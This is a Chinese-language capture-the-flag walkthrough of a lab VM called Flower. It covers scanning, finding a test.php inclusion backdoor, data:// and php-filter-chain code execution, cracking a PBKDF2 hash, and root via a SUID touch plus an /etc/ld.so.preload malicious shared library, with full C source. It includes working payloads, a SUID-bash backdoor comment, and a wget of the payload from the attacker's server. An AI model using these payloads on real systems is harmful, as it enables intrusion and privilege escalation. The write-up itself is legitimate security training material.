0%

群友靶机Flower

群友靶机Flower WP复现

这个是flower做的靶机,但是里面的知识点基本都是我不知道的,所以我就跟着群主和大佬的wp复现,学到了不少

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kakeru)-[~/tmp]
└─# nmap -A 192.168.112.83
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 15:35 CST
Nmap scan report for bogon (192.168.112.83)
Host is up (0.0020s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)
| 256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)
|_ 256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: \xE5\x87\x9B\xE5\x86\xBD\xE6\x99\x82\xE9\x9B\xA8 - \xE5\x85\xAC\xE5\xBC\x8F\xE3\x82\xA6\xE3\x82\xA7\xE3\x83\x96\xE3\x82\xB5\xE3\x82\xA4\xE3\x83\x88
MAC Address: 52:2F:A8:AF:31:4A (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 1.98 ms bogon (192.168.112.83)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.73 seconds

开放22和80端口,直接去web界面看看

web探测

web是一个这样的界面

点击一个按钮进入之后url是http://192.168.112.83/?do=album_3.php
先扫一下目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿kakeru)-[~/tmp]
└─# dirsearch -u 192.168.112.83
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/tmp/reports/_192.168.112.83/_25-02-22_15-40-59.txt

Target: http://192.168.112.83/

[15:40:59] Starting:
[15:41:01] 403 - 571B - /.ht_wsr.txt
[15:41:01] 403 - 571B - /.htaccess.bak1
[15:41:01] 403 - 571B - /.htaccess.sample
[15:41:01] 403 - 571B - /.htaccess.orig
[15:41:01] 403 - 571B - /.htaccess.save
[15:41:01] 403 - 571B - /.htaccess_extra
[15:41:01] 403 - 571B - /.htaccess_orig
[15:41:01] 403 - 571B - /.htaccess_sc
[15:41:01] 403 - 571B - /.htaccessBAK
[15:41:01] 403 - 571B - /.htaccessOLD
[15:41:01] 403 - 571B - /.htaccessOLD2
[15:41:01] 403 - 571B - /.htm
[15:41:01] 403 - 571B - /.html
[15:41:01] 403 - 571B - /.httr-oauth
[15:41:01] 403 - 571B - /.htpasswds
[15:41:01] 403 - 571B - /.htpasswd_test
[15:41:21] 200 - 228B - /README.md
[15:41:24] 200 - 16B - /test.php
[15:41:24] 200 - 17B - /tools.php

README.md中的内容是:
2025年1月22日 本项目的开发暂时到此结束。在2月正式公开项目之前,请务必整理测试部分。——开发团队 阿达西
这里说的测试部分,就是test,结果就是在/test.php中有后门
而且我们直接访问test.php和tools.php是没有内容的,但是它们的大小不是0
用wfuzz扫一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kakeru)-[~/tmp]
└─# wfuzz -w /usr/share/seclists/Discovery/Web-Content/common.txt --hw 1 http://192.168.112.83/test.php?FUZZ=/etc/passwd;
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.112.83/test.php?FUZZ=/etc/passwd
Total requests: 4744

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000001524: 200 1 L 2 W 27 Ch "do"

Total time: 8.807905
Processed Requests: 4744
Filtered Requests: 4743
Requests/sec.: 538.6070

这个后门就是do,然后我们用php伪协议读一下文件的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿kakeru)-[~/tmp]
└─# curl http://192.168.112.83/test.php?do=php://filter/convert.base64-encode/resource=index.php
<h1>test</h1>
PD9waHAKICAgICRhbGJ1bXMgPSBhcnJheSgKICAgICAgICAnYWxidW1fMS5waHAnLAogICAgICAgICdhbGJ1bV8yLnBocCcsCiAgICAgICAgJ2FsYnVtXzMucGhwJywKICAgICAgICAnYWxidW1fNC5waHAnLAogICAgICAgICdhbGJ1bV81LnBocCcsCiAgICAgICAgJ2FsYnVtXzYucGhwJwogICAgKTsKCiAgICBpZihpc3NldCgkX0dFVFsnZG8nXSkgJiYgaW5fYXJyYXkoJF9HRVRbJ2RvJ10sICRhbGJ1bXMpKSB7CiAgICAgICAgaW5jbHVkZSAkX0dFVFsnZG8nXTsgCiAgICB9IGVsc2UgewogICAgICAgIGluY2x1ZGUgJ2hvbWUucGhwJzsKICAgIH0KPz4K

#index.php
<?php
$albums = array(
'album_1.php',
'album_2.php',
'album_3.php',
'album_4.php',
'album_5.php',
'album_6.php'
);

if(isset($_GET['do']) && in_array($_GET['do'], $albums)) {
include $_GET['do'];
} else {
include 'home.php';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# test.php
<?php
if (isset($_GET['do'])) {
$blacklist = array('writer','etc','temp', 'config', 'var', 'setting', 'log', 'cache', 'backup', 'upload', 'download', 'include', 'require', 'eval', 'exec', 'passthru', 'system', 'shell_exec', 'proc_open', 'popen', 'pcntl_exec', 'phar://', 'file://', 'zip://', 'data://', 'glob://', 'ftp://','.log');
$do = strtolower($_GET['do']);
$do = preg_replace('/[^A-Za-z0-9\=\.\/\-:]/', '', $do);
foreach ($blacklist as $black) {
if (strpos($do, $black) !== false||strpos($do, '../') !== false) {
die('self-hacking!');
}
}
include $do;
}
?>

可以看到test.php没有过滤php://但是过滤了data://

1
2
3
4
5
6
7
8
9
# tools.php
<?php
if(isset($_POST['flowermagic']))
{
if($_POST['flowermagic'] !== "index.php" )
eval(file_get_contents($_POST['flowermagic']));
}
?>

这里执行post请求的flowermagic,但是前面有一个函数file_get_contents,这个函数是用来读取本地文件的,但是我们可以用data伪协议rce执行命令
data伪协议的使用方式是data://text/plain;base64,+(命令的base64)
flowermagic=data://text/plain;base64,cGhwaW5mbygpOw==

可以找到disable_functions看看哪些函数被ban了

1
passthru,exec,system,popen,chroot,scandir,chgrp,chown,escapesh

还是没有ban干净,shell_exec没有ban,这里有两种方式,一种是蚁剑连接,一种是用phpfilterchain,都学习一下
蚁剑:

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo ZXZhbCgkX1BPU1RbMV0pOw== | base64 -d
eval($_POST[1]);


在请求信息这里加上一个http body 用data伪协议执行eval命令,然后链接密码再输入1
就可以连接上了,然后可以找到.2024_12_25_project_web_login_password.bak这个文件,最后都是用这个文件里的内容
filterchain:

1
2
┌──(root㉿kakeru)-[~/php_filter_chain_generator-main]
└─# python3 php_filter_chain_generator.py --chain "<?php shell_exec(\$_GET['a']); ?>"

这样就生成了一个filter链,这里里面就是用没有被ban的shell_exec函数,然后我们用get请求就能执行我们想要的命令了
但是我这里下载的是完整版的,这个方法就被ban了,不过也可以学习一下,反弹shell得到的shell的ps1不对,要用bash-p

提权

通过刚才的两种方法,最后都是为了得到.2024_12_25_project_web_login_password.bak里的内容

1
pbkdf2:sha256:50000:flower:0916690d7bc2f92a0e1f1640ce7ee22e988843323efb8c8e43064eafed92b028

这是一个用pbkdf2 sha256加密的密码
搜索之后找到了用hashcat破解这个密码的方法0xBEN|Notes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kakeru)-[~/tmp]
└─# hashcat --hash-info -m 10900
hashcat (v6.2.6) starting in hash-info mode

Hash Info:
==========

Hash mode #10900
Name................: PBKDF2-HMAC-SHA256
Category............: Generic KDF
Slow.Hash...........: Yes
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Embedded
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure
Example.Hash.Format.: plain
Example.Hash........: sha256:1000:NjI3MDM3:vVfavLQL9ZWjg8BUMq6/FB8FtpkIGWYk
Example.Pass........: hashcat
Benchmark.Mask......: ?b?b?b?b?b?b?b
Autodetect.Enabled..: Yes
Self.Test.Enabled...: Yes
Potfile.Enabled.....: Yes
Custom.Plugin.......: No
Plaintext.Encoding..: ASCII, HEX

通过这个示例可以得出正确的hash格式是 algorithm:iterations:salt:hash

0916690d7bc2f92a0e1f1640ce7ee22e988843323efb8c8e43064eafed92b028这是一个16进制编码,我们要先用xxd还原然后用base64加密
flower也要base64的格式

1
2
3
4
5
6
7
┌──(root㉿kakeru)-[~/tmp]
└─# echo -n "0916690d7bc2f92a0e1f1640ce7ee22e988843323efb8c8e43064eafed92b028" | xxd -p -r | base64
CRZpDXvC+SoOHxZAzn7iLpiIQzI++4yOQwZOr+2SsCg=

┌──(root㉿kakeru)-[~/tmp]
└─# echo flower | base64
Zmxvd2VyCg==

所以最后可以破解的hash为

1
sha256:50000:Zmxvd2VyCg:CRZpDXvC+SoOHxZAzn7iLpiIQzI++4yOQwZOr+2SsCg=
1
2
┌──(root㉿kakeru)-[~/tmp]
└─# hashcat -a 0 -m 10900 hash /usr/share/wordlists/rockyou.txt -d 1 -w 3

hashcat -m指定类型 -a 0 表示用字典攻击
得到一个密码roseflower,刚才用蚁剑看到家目录下面只有一个welcome用户,这个就是welcome的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ bash -p
welcome@listen:~$ sudo -l
[sudo] password for welcome:
Sorry, user welcome may not run sudo on listen.
welcome@listen:~$ find / -user root -perm -4000 -print 2>/dev/null
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/touch
/usr/bin/su
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

可以看到这里的touch有suid,我们就是要用这个touch提权
touch是一个创建文件的命令,这里有suid就是可以创建一个root的文件

1
2
3
4
5
6
7
8
9
10
11
12
welcome@listen:~$ touch a
welcome@listen:~$ ls
a user.txt
welcome@listen:~$ ls -al
total 20
drwx------ 2 welcome welcome 4096 Feb 22 03:47 .
-rw-r--r-- 1 root root 11 Feb 1 11:10 .-
drwxr-xr-x 3 root root 4096 Jan 7 23:16 ..
-rw-r--r-- 1 root root 0 Feb 22 03:47 a
-rw------- 1 welcome welcome 69 Feb 1 07:13 .bash_history
-rw-r--r-- 1 root root 33 Jan 7 23:18 user.txt

然后还有了解一个知识点umask,为什么会想到这个呢?因为现在有办法创造root的文件,而且是以当前用户的shell里面的,
我们可以控制umask从而修改文件的权限
umask的权限修改方式和chmod是相反的,chmod是直接给权限,umask是用666减去权限,比如umask是022 那创建之后的权限就是644
现在把umask改成0000 就可以创建一个root的并且权限是666的文件。
现在我们在本机追踪一下touch。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kakeru)-[~/tmp]
└─# strace touch 2>&1 | grep -Pi "open|access|no such file"
faccessat(AT_FDCWD, "/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/lib/aarch64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/usr/share/locale/en_US.UTF-8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en_US.utf8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en_US/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en.UTF-8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en.utf8/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/share/locale/en/LC_MESSAGES/coreutils.mo", O_RDONLY) = -1 ENOENT (No such file or directory)

但是在靶机没有发现/etc/ld.so.preload这个文件,利用点就是这里了
该文件是 Linux 系统的全局配置文件,用于指定程序启动时强制优先加载的动态链接库(.so 文件)。与 LD_PRELOAD 环境变量不同,/etc/ld.so.preload 的影响是系统级的,会对所有用户和进程生效
该文件的行为类似于**LD_PRELOAD** ENV 变量,但也适用于 SUID 二进制文件
如果您可以创建它或修改它,则只需在每个执行的二进制文件中加载的库中添加路径即可。
所以现在可以用touch创建一个ld.so.preload文件,然后我们写一个利用代码,编译好之后把文件地址进入ld.so.preload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
//后门写法-只用一次 system("cp /bin/bash /tmp/sh ; chmod +s /tmp/sh; rm /etc/ld.so.preload")
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(root㉿kakeru)-[~/tmp]
└─# x86_64-linux-gnu-gcc -fPIC -shared -o a.so a.c -nostartfiles

┌──(root㉿kakeru)-[~/tmp]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

welcome@listen:/tmp$ wget 192.168.112.11/a.so
--2025-02-22 04:10:46-- http://192.168.112.11/a.so
Connecting to 192.168.112.11:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14144 (14K) [application/octet-stream]
Saving to: ‘a.so’

a.so 100%[=========================================================================>] 13.81K --.-KB/s in 0.001s

2025-02-22 04:10:47 (24.9 MB/s) - ‘a.so’ saved [14144/14144]

welcome@listen:/tmp$ ls -al
total 48
drwxrwxrwt 8 root root 4096 Feb 22 04:10 .
drwxr-xr-x 18 root root 4096 Jan 7 21:50 ..
-rw-rw-rw- 1 root root 0 Feb 22 04:06 a
-rw-rw-rw- 1 welcome welcome 14144 Feb 22 04:03 a.so
drwxrwxrwt 2 root root 4096 Feb 22 02:33 .font-unix
drwxrwxrwt 2 root root 4096 Feb 22 02:33 .ICE-unix
drwx------ 3 root root 4096 Feb 22 02:34 systemd-private-ea7792e20f1b4a46a4474e8000aad4ea-systemd-timesyncd.service-uxH5C3
drwxrwxrwt 2 root root 4096 Feb 22 02:33 .Test-unix
drwxrwxrwt 2 root root 4096 Feb 22 02:33 .X11-unix
drwxrwxrwt 2 root root 4096 Feb 22 02:33 .XIM-unix
welcome@listen:/tmp$ echo /tmp/a.so > /etc/ld.so.preload
welcome@listen:/tmp$ touch aa
root@listen:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(welcome)

总结

学到用伪协议读文件,和data伪协议读取文件,然后学到了蚁剑的这种data伪协议读取文件的使用方式
了解了filterchain这个工具,学到了hashcat的使用方式
umask,strace命令学习 umask在可以创建文件的时候有用
/etc/ld.so.preload文件学习,之前了解过LD_PRELOAD和这个也有相似之处,然后了解了这种提权的方式和c语言代码